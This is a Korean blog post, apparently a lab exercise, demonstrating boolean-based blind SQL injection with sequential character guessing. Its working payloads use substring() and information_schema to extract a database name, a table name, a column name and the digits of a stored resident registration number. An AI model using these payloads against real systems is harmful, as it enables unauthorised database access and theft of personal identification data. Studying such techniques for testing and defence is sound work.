웹 해킹/SQL Injection
데이터 추론 기법(순차탐색) 실습(feat. Burp Suite Intruder 활용)
Kwon Oh! JUN
2022. 8. 30. 15:31
※ 목표
DB(board) -> Table(members) -> column(idx, id, password, jumin)
1. DB 이름 파악
substring(database(), 1, 1)='b' | 정상 출력 -> test검색 |
substring(database(), 2, 1)='o' | 정상 출력 -> test검색 |
substring(database(), 3, 1)='a' | 정상 출력 -> test검색 |
substring(database(), 4, 1)='r' | 정상 출력 -> test검색 |
substring(database(), 5, 1)='d' | 정상 출력 -> test검색 |
- database() : DB 이름 정보
- substring('문자열',index,size)
- 실제로는 모든 대소문자 + 특수문자를 대입해서 참인지 거짓인지 판별하여 탐색이 가능하다.
- 참이면 'test' 검색 정상적으로 작동하고, 거짓이면 검색기능을 하지 않는다.
2. Table 이름 파악
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),1,1)='m' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),2,1)='e' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),3,1)='m' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),4,1)='b' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),5,1)='e' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),6,1)='r' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),7,1)='s' | 정상 출력 -> test검색 |
- DB 이름이 'board'이면서 컬럼 이름에 JUMIN이 포함되어있는 Table의 이름을 조회
3. column 이름 파악
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),1,1)='J' | 정상 출력 -> test검색 |
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),2,1)='U' | 정상 출력 -> test검색 |
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),3,1)='M' | 정상 출력 -> test검색 |
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),4,1)='I' | 정상 출력 -> test검색 |
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),5,1)='N' | 정상 출력 -> test검색 |
- DB 이름이 'board' 이고, Table 이름이 'members'이면서 컬럼에 'JUMIN'이 포함되어 있는 컬럼의 이름 조회
4. Data 파악
substring((select jumin from board.members limit 0,1),1,1)=8 | 정상 출력 -> test검색 |
substring((select jumin from board.members limit 0,1),2,1)=1 | 정상 출력 -> test검색 |
substring((select jumin from board.members limit 0,1),3,1)=0 | 정상 출력 -> test검색 |
substring((select jumin from board.members limit 0,1),4,1)=2 | 정상 출력 -> test검색 |
... | ... |
- board.members의 첫번째(limit 0,1) 열 'JUMIN'의 첫번째 값(substring('',1,1))부터 체크